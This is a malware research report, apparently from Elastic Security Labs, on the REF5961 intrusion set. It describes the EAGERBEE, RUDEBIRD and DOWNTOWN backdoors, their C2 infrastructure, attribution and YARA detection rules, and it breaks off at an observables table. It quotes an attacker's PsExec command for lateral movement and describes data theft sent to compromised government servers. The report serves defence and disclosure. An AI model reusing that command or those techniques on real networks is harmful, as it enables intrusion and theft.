<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image27.jpg" alt="REF5961 intrusion execution flow" /></p>
<p>Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth <a href="https://www.elastic.co/pt/security-labs/disclosing-the-bloodalchemy-backdoor">here</a>.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs is disclosing three new malware families:
<ul>
<li>EAGERBEE</li>
<li>RUDEBIRD</li>
<li>DOWNTOWN</li>
</ul>
</li>
<li>Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns</li>
<li>The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities</li>
</ul>
<h2>EAGERBEE</h2>
<p>EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.</p>
<p>During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/apt27">LuckyMouse</a> (APT27, EmissaryPanda).</p>
<h3>Code analysis</h3>
<p>EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image25.png" alt="EAGERBEE dynamically constructs its Import Address Table" /></p>
<p><strong><em>Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.</em></strong></p>
<p>After resolving all the required Windows APIs, the malware creates a mutex with the string <code>mstoolFtip32W</code> to prevent multiple instances of the malware from running on the same machine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image1.png" alt="Mutex setup" /></p>
<p>The malware gathers key information about the compromised system:</p>
<ul>
<li>The computer's name is obtained using the <code>GetComputerNameW</code> function</li>
<li>The malware retrieves the Windows version by utilizing the <code>GetVersionExW</code> function</li>
<li>A globally unique identifier (GUID) is generated through the <code>CoCreateGuid</code> function</li>
<li>The processor architecture information is acquired using the <code>GetNativeSystemInfo</code> function</li>
<li>The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image19.png" alt="Information collection" /></p>
<p>The sample’s operational schedule is controlled by the string <code>0-5:00:23;6:00:23;</code>. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:</p>
<ul>
<li>active from Sunday(0) to Friday(5)</li>
<li>all hours between 00 and 23</li>
<li>Saturday(6) all hours between 00 and 23</li>
</ul>
<p>This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image3.png" alt="Configuration scheduling" /></p>
<p>The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named <code>c:\users\public\iconcache.mui</code>. This file is decrypted using the first character as the decryption key.</p>
<p>This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure <code>IP:PORT</code>, where the character <code>s</code> is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.
<img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image18.png" alt="Malware’s hardcoded configuration of C2 IPs" /></p>
<p>The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.</p>
<p>A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.</p>
<p>In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.</p>
<p>When operating in active connection mode, the malware attempts to load its configuration from the file <code>c:\users\public\iconcache.mui</code>. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs</p>
<p>The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image16.png" alt="Both forward and reverse connection functionalities are present in the binary" /></p>
<p><strong><em>Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.</em></strong></p>
<p>The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the <code>ProxyEnable</code> registry key within <code>Software\Microsoft\windows\CurrentVersion\Internet Settings</code>. If this key value is set to <code>1</code>, the malware extracts the information in the <code>ProxyServer</code> key.</p>
<p>If no proxy server is set, the malware connects directly to C2.</p>
<p>However, if the proxy settings are defined, the malware also initializes the proxy by sending a <code>CONNECT</code> request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote <code>DONNECT</code> instead of <code>CONNECT</code> in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image12.png" alt="HTTP request string to connect to the setup proxy" /></p>
<p>Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image7.png" alt="Payload execution in the same process" /></p>
<h3>EAGERBEE connection to a Mongolian campaign</h3>
<p>During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE <a href="https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files">samples</a> involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (<code>iconcache.mui</code> for EAGERBEE and <code>iconcaches.mui</code> in the Mongolian campaign). The samples consisted of multiple files and a lure document.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image15.png" alt="Decompressed files inside Mongolian campaign sample" /></p>
<p>While analyzing the Mongolian campaign samples, we found a previous <a href="https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54">webpage</a> (<code>http://president[.]mn/en/ebooksheets.php</code>) hosted under Mongolian infrastructure serving a <a href="https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection">RAR file</a> named <code>20220921_2.rar</code>. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.</p>
<p>The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important <a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">topic</a> in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image5.png" alt="Lure document" /></p>
<p>For this infection chain, they leveraged a signed Kaspersky application in order to sideload a <a href="https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations">malicious DLL</a>. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (<code>www.president[.]mn/upload.php</code>) via cURL. Persistence is configured using a Registry Run Key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image14.png" alt="Hard-coded domain in first sample" /></p>
<p><strong><em>Note: Though it does not contain the .gov second-level domain, <a href="http://www.president%5B.%5Dmn">www.president[.]mn</a> does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to <a href="mailto:oyunbold@datacenter.gov">oyunbold@datacenter.gov</a>[.]mn which appears to be legitimate.</em></strong> Based on string formatting and underlying behavior, this sample aligns with public <a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">reporting</a> from AVAST related to a utility they call DataExtractor1.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image9.png" alt="Sensitive file collection on different drives" /></p>
<p>While we didn’t find a WinRAR archive for the other linked sample, we found this related <a href="https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e">executable</a>. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (<code>https://intranet.gov[.]mn/upload.php</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image13.png" alt="Hard-coded domain in the second sample" /></p>
<p>While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.</p>
<h3>EAGERBEE Summary</h3>
<p>EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.</p>
<p>Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.</p>
<h2>RUDEBIRD</h2>
<p>Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.</p>
<h3>Initial execution</h3>
<p>The backdoor was executed by a file with an invalid signature, <code>C:\Windows\help\RVTDM.exe</code>, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image28.png" alt="PE signature and original filename details of RVTDM.exe" /></p>
<p>The process was executed with the parent process (<code>w3wp.exe</code>) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.</p>
<h3>Lateral movement</h3>
<p>RUDEBIRD used PsExec (<code>exec.exe</code>) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.</p>
<p><code>&quot;C:\windows\help\exec.exe&quot; /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE</code></p>
<h3>Code analysis</h3>
<p>RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the <code>kernel32.dll</code> and <code>ntdll.dll</code> modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image22.png" alt="Resolving imports using TEB/PEB" /></p>
<p>RUDEBIRD uses a straightforward API hashing algorithm with multiplication (<code>0x21</code>) and addition that is <a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">publicly available</a> from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image11.png" alt="RUDEBIRD API Hashing algorithm" /></p>
<p>After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:</p>
<ul>
<li>Hostname</li>
<li>Computer name</li>
<li>Username</li>
<li>IP Address</li>
<li>System architecture</li>
<li>Privilege of the current user</li>
</ul>
<p>For some functions that return larger amounts of data, the malware implements compression using <code>RtlCompressBuffer</code>. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:</p>
<ul>
<li><code>45.90.58[.]103</code></li>
<li><code>185.195.237[.]123</code></li>
</ul>
<p>Strangely, there are several functions throughout the program that include calls to <code>OutputDebugStringA</code>. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image21.png" alt="RUDEBIRD debug string" /></p>
<p>RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to <code>VV.0</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image24.png" alt="RUDEBIRD mutex" /></p>
<p>After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:</p>
<ul>
<li>Retrieve victim’s desktop directory path</li>
<li>Retrieve disk volume information</li>
<li>Perform file/directory enumeration</li>
<li>Perform file operations such as reading/writing file content</li>
<li>Launch new processes</li>
<li>File/folder operations such as creating new directories, move/copy/delete/rename files</li>
<li>Beacon timeout option</li>
</ul>
<h2>DOWNTOWN (SManager/PhantomNet)</h2>
<p>In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">SManager/PhantomNet</a>. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.</p>
<p>SManager/PhantomNet has been attributed to <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">TA428</a> (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.</p>
<h3>Code analysis</h3>
<p>For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published <a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">research</a> by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, <code>GetPluginInfomation</code> (note: <code>Infomation</code> is missing an <code>r</code>). The victimology of REF2924 is consistent with their reported victim vertical and region.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image8.png" alt="DOWNTOWN exports" /></p>
<p>In our sample, the plugin is labeled as “ExplorerManager”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image26.png" alt="GetPlugInfomation export" /></p>
<p>The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image4.png" alt="Strings found inside DOWNTOWN sample" /></p>
<p>In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using  <code>OutputDebugStringA</code>. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image2.png" alt="OutputDebugStringA usage" /></p>
<p>Some functionality observed in the sample included:</p>
<ul>
<li>File/folder enumeration</li>
<li>Disk enumeration</li>
<li>File operations (delete/execute/rename/copy)</li>
</ul>
<p>Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.</p>
<h3>DOWNTOWN Summary</h3>
<p>DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.</p>
<h2>Network infrastructure intersection</h2>
<p>When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.</p>
<h3>Shared network infrastructure</h3>
<p>As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: <code>185.82.217[.]164</code> and <code>195.123.245[.]79</code>.</p>
<p>Of the two, <code>185.82.217[.]164</code> had an expired TLS certificate registered to it for <code>paper.hosted-by-bay[.]net</code>. The subdomain registration for <code>paper.hosted-by-bay[.]net</code> and the TLS certificate were registered on December 14, 2020.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image17.jpg" alt="paper.hosted-by-bay[.]net TLS certificate" /></p>
<p>As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: <code>45.90.58[.]103</code> and <code>185.195.237[.]123</code>.</p>
<p><code>45.90.58[.]103</code> was used to register the subdomain <code>news.hosted-by-bay[.]net</code>, on December 13, 2020.</p>
<p>Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (<code>paper.hosted-by-bay[.]net</code> and <code>news.hosted-by-bay[.]net</code>) within one day at the domain <code>hosted-by-bay[.]net</code>.</p>
<p><strong><em>Note: While <code>195.123.245[.]79</code> (EAGERBEE) and <code>185.195.237[.]123</code> (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by <code>185.82.217[.]164</code> (EAGERBEE) and <code>45.90.58[.]103</code> (RUDEBIRD).</em></strong></p>
<h3>Domain analysis</h3>
<p>When performing an analysis of the <code>hosted-by-bay[.]net</code> domain, we see that it is registered to the IP address <code>45.133.194[.]106</code>. This IP address exposes two TCP ports, one is the expected TLS port of <code>443</code>, and the other is <code>62753</code>.</p>
<p><strong><em>Note: Port <code>443</code> has a Let’s Encrypt TLS certificate for <code>paypal.goodspaypal[.]com</code>. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.</em></strong></p>
<p>On port <code>62753</code>, there was a self-signed wildcard TLS leaf certificate with a fingerprint of <code>d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59</code> (<code>*.REDACTED[.]mn</code>). This fingerprint is used for one host, <code>shop.REDACTED[.]mn</code>. The 10-year TLS certificate was registered on December 13, 2020.</p>
<pre><code>Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn
</code></pre>
<p><code>.mn</code> is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.</p>
<p>It does not appear that <code>shop.REDACTED[.]mn</code> was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the <code>hosted-by-bay[.]net</code> domain.</p>
<p>As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.</p>
<h3>Defense evasion</h3>
<p>Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by <a href="https://search.censys.io/">Censys.io</a> databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.</p>
<p><code>192.123.245[.]79</code> had TCP port <code>80</code> enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image6.jpg" alt="192.123.245[.]79 C2 service windows" /></p>
<p><code>185.195.237[.]123</code> had TCP port <code>443</code> enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image23.jpg" alt="185.195.237[.]123 C2 service windows" /></p>
<p><code>185.82.217[.]164</code> had TCP port <code>443</code> enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image20.jpg" alt="185.82.217[.]164 C2 service windows" /></p>
<p><code>45.90.58[.]103</code> had TCP port <code>443</code> enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image10.jpg" alt="45.90.58[.]103 C2 service windows" /></p>
<h3>Network intersection summary</h3>
<p>EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.</p>
<p>When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain <code>hosted-by-bay[.]net</code>), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.</p>
<h2>Summary</h2>
<p>EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.</p>
<p>They all, however, deliver similar tactical capabilities in the context of this environment.</p>
<ul>
<li>Local enumeration</li>
<li>Persistence</li>
<li>Download/execute additional tooling</li>
<li>C2 options</li>
</ul>
<p>The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.</p>
<p>This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.</p>
<h2>REF5961 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li>EAGERBEE
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
</li>
<li>RUDEBIRD
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
</li>
<li>DOWNTOWN
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
</li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li>EAGERBEE
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
</ul>
</li>
<li>RUDEBIRD
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1570/">Lateral Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005">Data from Local System</a></li>
</ul>
</li>
<li>DOWNTOWN
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
</ul>
</li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar">EAGERBEE</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar">RUDEBIRD</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar">DOWNTOWN</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:</p>
<h3>EAGERBEE</h3>
<pre><code>rule Windows_Trojan_EagerBee_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.EagerBee&quot;
        reference_sample = &quot;09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-09-04&quot;
        last_modified = &quot;2023-09-20&quot;
        threat_name = &quot;Windows.Trojan.EagerBee&quot;
        reference_sample = &quot;339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}
</code></pre>
<h3>RUDEBIRD</h3>
<pre><code>rule Windows_Trojan_RudeBird {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.RudeBird&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}
</code></pre>
<h3>DOWNTOWN</h3>
<pre><code>rule Windows_Trojan_DownTown_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.DownTown&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = &quot;SendFileBuffer error -1 !!!&quot; fullword
        $a2 = &quot;ScheduledDownloadTasks CODE_FILE_VIEW &quot; fullword
        $a3 = &quot;ExplorerManagerC.dll&quot; fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-08-23&quot;
        last_modified = &quot;2023-09-20&quot;
        threat_name = &quot;Windows.Trojan.DownTown&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = &quot;DeletePluginObject&quot;
        $a2 = &quot;GetPluginInfomation&quot;
        $a3 = &quot;GetPluginObject&quot;
        $a4 = &quot;GetRegisterCode&quot;

    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref5961">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
